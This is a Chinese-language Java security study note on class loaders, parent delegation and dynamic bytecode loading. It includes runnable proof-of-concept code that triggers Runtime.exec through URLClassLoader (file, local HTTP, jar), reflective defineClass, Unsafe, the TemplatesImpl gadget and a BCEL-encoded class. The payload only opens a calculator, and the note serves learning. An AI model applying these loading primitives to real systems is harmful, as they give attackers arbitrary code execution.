JAVA安全学习笔记--类加载器&双亲委派&字节码(类的动态加载)

类加载器&双亲委派&字节码

类加载器与双亲委派

1. 类加载器

类加载器也就是ClassLoader,它的作用是将类的字节码文件(.class)加载到 Java 虚拟机(JVM)中,转化为 JVM 可识别的 Class 对象,最终让程序能使用这个类。

在Java中,程序运行的核心是JVM(Java虚拟机)。我们平时在文本编辑器或者IDE中编写的程序通常是以.java文件的形式保存的,这是最基础的源码格式。但是,这种文件本身是无法直接运行的。

我们需要先编译这个文件

javac test.java

编译完成以后会在同级目录下生成一个.class文件。这个文件就是字节码文件。而类加载器的作用就是加载它并转化为class对象。

2. JAVA中的几种类加载器

  • 引导类加载器

引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。

不继承 java.lang.ClassLoader 类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar 目录当中。(同时处于安全考虑,BootstrapClassLoader 只加载包名为 javajavaxsun 等开头的类)。

  • 扩展类加载器(ExtensionsClassLoader)

扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader 类实现,用来在 /jre/lib/ext 或者 java.ext.dirs 中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。

  • App类加载器(AppClassLoader)

App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader 实现,一般通过通过( java.class.path 或者 Classpath 环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader() 来获取它。

3. 双亲委派

一个类加载器查找class和resource时,是通过“委托模式”进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到Bootstrap ClassLoader,如果Bootstrap classloader找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象。这种机制就叫做双亲委托。

这里引用一下Drunkbaby师傅的图片,非常的形象

img

4. 实例

Student.java

// 双亲委派的正确代码  
public class Student {  

    public String toString(){  
        return "Hello";  
 }  

    public static void main(String[] args) {  
        Student student = new Student();  

 System.out.println(student.getClass().getClassLoader());  
 System.out.println(student.toString());  
 }  
}

image-20250907182949952

我们定义的 Student 类在 APP 加载器中找到了。

各场景下代码块执行顺序

  • 这里的代码块主要指的是这四种
    • 静态代码块:static{}
    • 构造代码块:{}
    • 无参构造器:ClassName()
    • 有参构造器:ClassName(String name)

场景一、实例化对象

这里有两个文件,分别介绍一下用途:

  • Person.java:一个普普通通的类,里面有静态代码块、构造代码块、无参构造器、有参构造器、静态成员变量、普通成员变量、静态方法。
  • Main.java:启动类

Person.java

// 存放代码块  
public class Person {  
    public static int staticVar;  
 public int instanceVar;  

 static {  
        System.out.println("静态代码块");  
 }  

    {  
        System.out.println("构造代码块");  
 }  

    Person(){  
        System.out.println("无参构造器");  
 }  
    Person(int instanceVar){  
        System.out.println("有参构造器");  
 }  

    public static void staticAction(){  
        System.out.println("静态方法");  
 }  
}

Main.java

image-20250907183457161

结论:

实例化对象的时候,会先调用静态代码块(static{}),然后调用构造代码块({}),然后调用无参构造器。

场景二、调用静态方法

直接调用类的静态方法

Person.java 不变,修改 Main.java 启动器即可。

Main.java

package test;  

// 代码块的启动器  
public class Main {  
    public static void main(String[] args) {  
        Person.staticAction();  
 }  
}

image-20250907183819161

结论:调用静态方法的时候,会先调用静态代码块,然后调用静态方法。

场景三、对类中的静态成员变量赋值

package test;  

// 代码块的启动器  
public class Main {  
    public static void main(String[] args) {  
        Person.staticVar = 1;  
    }  
}

image-20250907184005720

结论:修改静态属性的时候,调用静态代码块

场景四、使用 class 获取类

package test;  

// 代码块的启动器  
public class Main {  
    public static void main(String[] args) {  
        Class c = Person.class;  
    }  
}

image-20250907184300975

结论:当使用.class获取类的时候,不会调用任何代码块。因为并不会加载类。

场景五、使用 forName 获取类

我们写三种 forName 的方法调用。
修改 Main.java

// 代码块的启动器  
public class Main {  
    public static void main(String[] args) throws ClassNotFoundException{  
        Class.forName("src.DynamicClassLoader.Person");
    }  
}
// 静态代码块
// 代码块的启动器  
public class Main {  
    public static void main(String[] args) throws ClassNotFoundException{   
    Class.forName("src.DynamicClassLoader.Person", true, ClassLoader.getSystemClassLoader());  
 }  
}
// 静态代码块
// 代码块的启动器  
public class Main {  
    public static void main(String[] args) throws ClassNotFoundException{   
    Class.forName("src.DynamicClassLoader.Person", false, ClassLoader.getSystemClassLoader());
 }  
}
//没有输出

这里便要多讲一下forName方法了,forName方法其实有三个参数

forName(ClassName,boolean,ClassLoader)
第一个参数就是要获取的类名。
第二个参数是一个布尔值,其为true是代表会优先执行类的静态代码块(static{}),为false则代表不执行静态代码块
第三个参数则是指定要用什么类加载器

后两个参数都是可选的,如果不写则默认第二个参数是true,并且默认使用App类加载器
即
forName(className)等同于
forName(className,true,ClassLoader.getSystemClassLoader())

结论:Class.forName(className)以及第二个参数为true时会调用静态代码块,第二个参数为fasle则不会调用静态代码块。

场景六、使用 ClassLoader.loadClass() 获取类

// 代码块的启动器
public class Main {
    public static void main(String[] args) throws ClassNotFoundException {
        ClassLoader.getSystemClassLoader().loadClass("tset.Person");
    }
}

这里的ClassLoader.getSystemClassLoader()其实就是App类加载器

image-20250907185842632

结论:ClassLoader.loadClass() 获取类不会执行代码块

字节码

1. 字节码的概念

前面讲类加载器的时候提到了,字节码其实就是编译生成的.class文件。

字节码的诞生是为了让 JVM 的流通性更强。

2. 类加载器的原理

从前面各种场景下代码块的加载顺序我们得知,在loadClass()方法被调用的时候,是不会进行类的初始化的(也就是static{}里的代码)。

我们在main函数里写一个这个代码测试

ClassLoader.getSystemClassLoader().loadClass();

然后ctrl+左键进到loadClass里看看

image-20250907165431669

继续跟进loadClass

image-20250907165511512

image-20250907165524241

这里便是非常明显的双亲委派的流程。

代码的解释如下:

  • findLoadedClass(name)判断是否已经加载了类,如果加载了便直接返回缓存,避免重复加载。
  • 随后进入到第一层if(c==null){}里面
if (c == null) {  // 类未加载过,进入加载流程
    long t0 = System.nanoTime();
    try {
        if (parent != null) {  // 父加载器存在,调用父加载器的loadClass加载
            c = parent.loadClass(name, false);
        } else {  // 父加载器为null(即当前加载器的父加载器是Bootstrap ClassLoadery最顶层的加载器)
            c = findBootstrapClassOrNull(name);//调用 findBootstrapClassOrNull 尝试让Boot加载器加载
        }
    } catch (ClassNotFoundException e) {
        // 父加载器加载失败(找不到类),继续执行自己加载
    }
    ...
}

需要注意的是:这里 null 是因为最上面的 Bootstrap 类是 native 类,它是用C 写的源码,所以为 null。

  • 接着进入第二层的if(c==null){}里面:也就是说前面让父加载器找并没有找到

这个时候便只好自己来找,调用自己的findClass方法

if (c == null) {  // 父加载器也没找到类,当前加载器自己加载
    long t1 = System.nanoTime();
    c = findClass(name);  // 调用自己的findClass方法加载类
    // 记录性能指标(忽略)
    ....
}

然后我们跟进findClass方法,注意此时直接Ctrl+左键跟进后看到的是

    protected Class<?> findClass(String name) throws ClassNotFoundException {
        throw new ClassNotFoundException(name);
    }

可以发现并没有代码实现,只有抛出异常。这里便又利用到了继承的知识。

继承链子如下:(这里的继承指的是父类,而前面的双亲委派指的是父加载器,注意辨别)

AppClassLoader / ExtClassLoader → URLClassLoader → SecureClassLoader → ClassLoader

可以发现App和Ext加载器都直接继承自URLClassLoader类,我们去这个类下看是否有findClass方法,发现在此类下有findClass方法的实现

image-20250907172010548

代码的主要功能便是:负责从 URL 路径(如 classpath)读取字节码,最终通过 defineClass()(native 方法)生成 Class 对象。

补充一嘴,其实跟进defineClass()方法,发现变成调用SecureClassLoader类defineClass()方法,然后跟进到最后发现调用的还是ClassLoader这个类的defineClass()方法,这就是我们后面会讲的直接利用ClassLoader#defineClass加载字节码。

以上便是类加载器的调用原理。

下面我们介绍多种能用于反序列化攻击的,加载字节码的类加载器。

Java动态字节码的一些用法

3. 利用URLClassLoader加载远程class文件

URLClassLoader我们前面讲过,实际上是AppClassLoader的父类。所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。

file协议

我们在目录src下新建一个 Calc.java 的文件。

import java.io.IOException;  

// URLClassLoader 的 file 协议  
public class Calc {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
 } catch (IOException e){  
            e.printStackTrace();  
 }  
    }  
}

然后我们点击那个小锤子编译一下,将其编译成字节码(.class文件)。

image-20250907201641349

然后我们在out文件夹下可以找到编译好的字节码。

image-20250907200454012

我们复制一份到随意一个路径下,我这里放在了E:\Experiment\下了

然后编写启动类,FileRce.java:

package DynamicClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 file 协议
public class FileRce {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader
                (new URL[]{new URL("file:///E:\\Experiment\\")});//此处改为自己的地址
        Class calc = urlClassLoader.loadClass("Calc");
        calc.newInstance();
    }
}

运行一下,可以发现成功的加载了我们所放路径下的class文件,达到了弹出计算器的效果

image-20250907200837139

http协议

我们在Calc.class文件所在目录下进入cmd,并执行python -m http.server 9999,起一个http服务。

然后编写利用类

package DynamicClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP 协议  
public class HTTPRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
        Class calc = urlClassLoader.loadClass("Calc");
        calc.newInstance();
    }
}

image-20250907203659424

file+jar协议

利用方法

基础格式:jar:file:///路径/xxx.jar!/(表示加载整个 JAR 包中的资源)

指定 JAR 内部路径:jar:<file_url>!/包路径/(加载 JAR 中特定目录的资源)

先将我们之前的 class 文件打包一下,打包为 jar 文件。

去到源 .class 文件下,别去复制的地方,运行命令

jar -cvf Calc.jar Clac.class

然后修改利用类:

package DynamicClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 file 协议
public class FileJarRce {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader
                (new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
        Class calc = urlClassLoader.loadClass("Calc");
        calc.newInstance();
    }
}

image-20250907204707575

http+jar协议

利用方式:

基础格式:jar:http:///路径/xxx.jar!/(表示加载整个 JAR 包中的资源)

与上面同样的道理,我们通过python起一个服务,python -m http.server 9999

修改一下利用类:

package DynamicClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP 协议
public class HTTPJarRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
        Class calc = urlClassLoader.loadClass("Calc");
        calc.newInstance();
    }
}

image-20250907205137373

成功弹出计算器。

以上这些最灵活的肯定是 http 协议的加载,我们甚至可以加载远程服务器的class或者jar文件(我测试过了,为了不漏IP就不发了)

4. 利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。

ClassLoader#loadClass --> ClassLoader#findClass --> ClassLoader#defineClass

我们前面讲解类加载器的原理的时候便分析过

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass()
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
    所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类。

image-20250907211955022

所以理论上我们便可以使用defineClass方法来直接加载字节码,但是可以看到这个方法是受保护的,我们无法直接调用它。这时候我们前面所讲的反射又大放光彩了。

我们可以通过getDeclaredMethod获取到defineClass方法,然后设置作用域后便能通过invoke调用这个私有方法了。

修改一下调用类:

package DynamicClassLoader;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DefineClassRce {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\Calc.class")); // 字节码的数组
        Class c = (Class) method.invoke(classLoader, "Calc", code, 0, code.length);
        c.newInstance();
    }

}

image-20250907212514702

成功弹出计算器。

使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

5. Unsafe加载字节码

  • Unsafe中也存在defineClass()方法,本质上也是 defineClass 加载字节码的方式。

跟进去看一看 UnsafedefineClass() 方法。

image-20250907221318202

由于这里被 native 关键字修饰,所以只有个方法的定义。具体的实现在 JVM 的 C++ 源码中。

但是我们无法直接调用此方法,即使它是public修饰的。原因是因为UnSafe类的构造函数是private的,也就是采用单例模式进行涉及的。所以才无法直接调用此方法,我们还是要通过反射调用。

我们先看一下Unsafe类的大致组成结构:

    private static final Unsafe theUnsafe;

    //构造私有化
    private Unsafe() {
    }

    //只提供静态方法获取Unsafe实例
    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        //判断当前类加载器是否为空
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

我们可以发现在成员属性中,有一个静态常量的Unsafe实例对象,然后有一个私有的构造方法,并且提供了一个公开的静态方法用于获取Unsafe实例。但是此方法获取实例的条件非常的苛刻,它要求当前类加载器必须是空的便返回theUnsafe字段(也就是Unsafe实例对象),由于一般默认都会使用App类加载器,所以想要满足getUnsafe方法的条件有点困难。

我们都知道通过反射,我们可以获取所有的属性,以及方法。但是即使我们获取了defineClass方法,我们也需要传递一个Unsafe实例作为参数才能通过invoke执行。这种情况下获取Unsafe实例有两种方式:

  1. 直接通过getDeclaredField获取theUnsafe字段,修改作用域后,通过.get拿到实例对象。

新建一个UnsafeClassLoaderRce.java启动类

添加如下代码

package DynamicClassLoader;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class UnsafeClassLoaderRce {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Class<Unsafe> unsafeClass = Unsafe.class;
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
        Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
                int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\Calc.class"));
        Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Calc", code, 0, code.length, classLoader, null);
        calc.newInstance();
    }
}

代码解释:通过Unsafe.class获取Unsafe类的Class对象,然后通过getDeclaredField获取theUnsafe字段,设置作用域后setAccessible(true),然后通过get(null)获取此字段,然后便是获取defineClass方法,从指定文件中读取字节码保存到code数组中,然后执行defineClass方法将字节码读取后加载成类,然后通过创建calc类的实例触发初始化代码,最终弹出计算器。

  1. 第二种方式便是通过getDeclaredConstructor获取无参构造方法,然后修改作用域后调用newInstance创建实例,称之为暴力反射

这个我就不演示了,跟我们前面讲反射如何命令执行的最后一种情况讲到了,感兴趣的可以自己试试。

6. Templateslmpl加载字节码

TemplatesImpl利用链是一个非常重要的东西,CC链可以用它,CB链也用它,注入内存马还是用它。

所以必须弄懂它的利用流程。

一、分析链子如何构成

我们先看看Templateslmpl的类结构

image-20250908152131035

可以发现再TemplateImpl类里面有一个内置类TransletClassLoader,而这个内置类里有defineClass方法。

跟进后发现,其实调用的就是ClassLoader类的defineClass方法了。

image-20250908152414750

但是它并不是TemplateImpl类的方法,我们不能向我们前面4.利用ClassLoader#defineClass直接加载字节码 那样直接反射出defineClass方法并调用。在这里要想成功利用defineClass方法就必须要找到一条完整的利用链(Gadget Chain),我们可以右键+find Usages看看有哪些方法直接调用了defineClass。

image-20250908152732198

image-20250908152745767

发现defineTransletClasses直接调用了它,我们再往前跟进。

image-20250908152853639

发现有三个方法中直接调用了defineTransletClasses

  1. getTransletClasses
  2. getTransletIndex
  3. getTransletInstance

其中我们前两个方法尝试继续往前跟进会发现找不到

image-20250908153426226

提出一个问题:这两种方法能拿来利用吗?(答案是肯定的我们后面会讲解)

我们跟进getTransletInstance就会发现不一样的地方了。

image-20250908175639566

可以发现有一个newTransformer()直接调用了它。先不急着往前面跟进,我们认真看一下gerTransletInstance这个方法的实现。

image-20250908180034995

这里需要介绍一下几个字段的含义:

_name: TemplatesImpl 对象的名字
_class: 通过defineclass加载的类,是一个数组,保存了所有的加载类
_bytecodes: 其实是byte[][],用于保存要加载的字节码
_transletIndex: 指示 _class 数组中哪一项是主 translet,并将其通过newInstance实例化
_auxClasses:非主translet的类

回到代码中,这个代码的含义便是,如果已经加载的类_class为空的话,就通过defineTransletClasses()(后续调用defineClass)来加载类。然后通过_transletIndex字段指定主类,并将其通过newInstance()实例化,这里实例化的对象用了抽象类AbstractTranslet的对象来接收。最后返回这个对象。

看完这个代码,你肯定会觉得那太好了甚至都不用我们自己实例化对象,调用了getTransletInstance方法就自动帮我们实例化了,我们都知道实例化的时候就会先调用初始化代码块(静态代码块)这样便可以利用我们写在初始化代码块的恶意代码。这也是为什么优先选择此方法作为利用链的原因。

我们继续往前跟进到newTransformer()

image-20250908181700563

发现这是一个public方法,我们可以直接调用!其实还可以继续往前跟进,但是我觉得没有必要了,我们的调用链已经非常的明显了。

TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass

二、开始构造POC

接下来我们尝试构造POC

我们看看链子完整走下来需要满足什么条件

  • 先看链头

image-20250908182828722

可以发现这里的两个条件其实对我们的链子并没有影响。

  • 往下跟进

image-20250908183223520

我们发现,我们需要_name不为null且_class为null才会走我们的链子。我们可以看一下这些字段的初始值是什么

image-20250908183354520

可以发现_name的初始值为null,而我们要求不能为null才行,所以我们需要利用反射修改它的值才行。

_class的初始值也为null,这满足了条件可以不用管。这里_bytecodes被设置为空了,后面会讲到要干什么。

所以链子的这一节点我们要做的便是通过反射将_name设置为非null。

  • 继续跟进

image-20250908183854060

在这一个节点我们要求_bytecodes不能为空,其实这个属性我们前面也提到了这是用来保存我们加载的字节码的,我们需要利用反射将字节码写入这个字段。

还有一个魔鬼细节:便是_tfactory也不能为null,为什么?

我们看看这一字段的初始化

image-20250908184305112

发现它的类型是一个TransformerFactoryImpl对象,它初始也被设置为了null。在我们的截图中可以看到,它调用了TransformerFactoryImpl对象的方法,如果我们让其为null的话,没有对象调用方法便肯定会抛出异常导致我们的链子无法利用。所以我们需要通过反射让其值为TransformerFactoryImpl实例。

后面的一些条件便不影响我们的链子了。

总结一下,我们需要干什么:

  1. 将_name设置为非null,什么都行
  2. 将_bytecodes指定为要加载的字节码
  3. 将_tfactory设置为TransformerFactoryImpl实例

在编写POC之前还有一点要说明

我们在getTransletInstance方法里提到通过newInstance创建的实例是用抽象类AbstractTranslet的对象接收的。

所以我们加载的字节码里实现的类也要是继承自这个抽象类的,我们需要重新获取要加载的字节码文件

Calc.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
    public TemplatesBytes() throws IOException{
        super();
        Runtime.getRuntime().exec("Calc");
    }
}

这里将恶意代码放在了无参构造函数,在实例化的时候仍然会触发,所以不必纠结。

然后我们通过小锤子编译成字节码文件(.class),然后复制一份放在自己指定的路径。

现在便可以开始编写POC了

实现类:TemplatesRce.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  

import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  

// 主程序  
public class TemplatesRce {  
    public static void main(String[] args) throws Exception{  
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));  
 TemplatesImpl templates = new TemplatesImpl();  
 setFieldValue(templates, "_name", "Calc");  
 setFieldValue(templates, "_bytecodes", new byte[][] {code});  
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
 templates.newTransformer();  
 }  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldName);  
 field.setAccessible(true);  
 field.set(obj, value);  
 }  
}

image-20250908185947710

可以发现即使抛出了一些异常,我们的计算器仍然弹出来了。

我前面已经讲的非常非常非常详细了,所以这个POC便无需解释了。

三、解决遗留问题:能用别的两种方法实现吗?

接下来要解答我前面提出的一个疑问:使用另外两种相关的方法getTransletClasses与getTransletIndex可以吗?

答案是肯定可以的,但是会给自己添加很多没必要的工作。

这里我就直接以getTransletClasses为例子

image-20250908190239684

其实使用这个方法的调用链比我们前面使用的方法还要短,很明显它是TemplatesImpl类下的一个私有方法,我们通过反射修改作用域便能获取。

调用链:

TemplatesImpl#getTransletClasses --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass

但是调用真的有我们想象的那么顺利吗?

其实我们只要满足跟前面用getTransletInstance相同的条件,我们通过反射获取并调用这个方法也能走完这条利用链,也能成功的加载出我们的类。

但是这种情况下并不会自动实例化了,那我们应该怎么利用呢?直接上POC

package DynamicClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
// 主程序
public class TemplatesRce2 {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Method m = TemplatesImpl.class.getDeclaredMethod("getTransletClasses");
        m.setAccessible(true);
// 返回的是 Class[](也就是_class)
        Class<?>[] classes = (Class<?>[]) m.invoke(templates);
// 取出 _transletIndex(哪个是主 translet)
        Field idxField = TemplatesImpl.class.getDeclaredField("_transletIndex");
        idxField.setAccessible(true);
        int idx = idxField.getInt(templates);

// 取出主类并实例化
        Class<?> transletClass = classes[idx];
        transletClass.newInstance();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

可以看到这种情况下,前面一部分是跟我们正常调用的方式是一样的,就是修改各种字段值满足链子调用的条件。

后面就不一样了。我们通过反射可以获取到getTransletClasses这个方法,修改作用域后便能够通过invoke执行。由于返回的是_class,所以我们需要用class数组来接收返回值。

Class<?>[] classes = (Class<?>[]) m.invoke(templates);

这个时候,其实我们的类是加载成功了的,它保存到了class数组中。但是在getTransletInstance中,会自动获取我们当前加载的类并实例化,一实例化便会触发恶意代码。而我们现在用的这个方法并没有那些代码。

image-20250908193604767

所以我们需要自己获取当前加载类,然后自己手动实例化才能触发加载类里的恶意代码。而_transletIndex字段便是指向了当前加载类的索引,所以我们需要获取这个索引,并通过这个索引获取当前加载的对象,最后通过newInstance创建实例便利用完成了。

我们运行看看效果:

image-20250908194253952

发现也成功弹出了计算器,而且这种方式还没有抛出异常。

还有另一种方式其实也是同样的道理,我们变成获取_class就可以了,这里便交给你们自己研究。

五、总结

就这一部分真的花了我好多的时间。中间研究的时候真的非常的痛苦,因为你根本想不明白到底是怎么来的,看了很多师傅的博客才慢慢搞懂。特别是当我跟进到有三种方式直接调用了defineTransletClasses,当时我就在想为什么偏偏选中了getTransletInstance这个方法,另外两个方法就真的不行吗?其实稍微看懂一点这个链子原理的,另外两种方式的调用链你是可以很明显看出来的。但是我看了很多师傅的博客,他们要么说这两种方式不可行,要么直接不提。这真的苦恼了我非常的久,后面我将各种方法之间的调用过程看了又看,决定自己写一个POC试试,没想到最后真给我试出来了。其实你看最后的POC其实也不难,弄懂原理便基本都能写出来。所以遇到自己想不通的问题也不要太气馁,你自己有想法但是别人说不行就真的不行吗?自己多动手试试,毕竟实践出真知。

7. 利用BCEL ClassLoader加载类

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。我们可以通过 BCEL 提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

我们依旧用我们在src目录下写过的那个Calc.java

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

测试 RepositoryUtility 的用法:

package DynamicClassLoader;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class BCELRce {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("Calc");
        JavaClass cls = Repository.lookupClass(clazz);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
    }
}

运行看效果:

image-20250908222413502

这里弹出计算器是因为使用了forName获取类,这里没有指定第二个参数便是默认为true,即会执行初始化操作。

注意到在输出中有一堆奇怪的字符。这些奇怪的字符其实就是通过Utility.encode生成的BCEL格式的字节码。

BCEL ClassLoader 可以用来加载这串特殊的“字节码”,并可以执行其中的代码。

测试代码:

package DynamicClassLoader;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

// 修改过滤乱码
public class BCELClassLoaderRce {
    public static void main(String[] args) throws Exception{
        new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance();
    }
}

运行看效果

image-20250908223333371

那么为什么要在前面加上 $$BCEL$$ 呢?p神的解释是这样的

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode

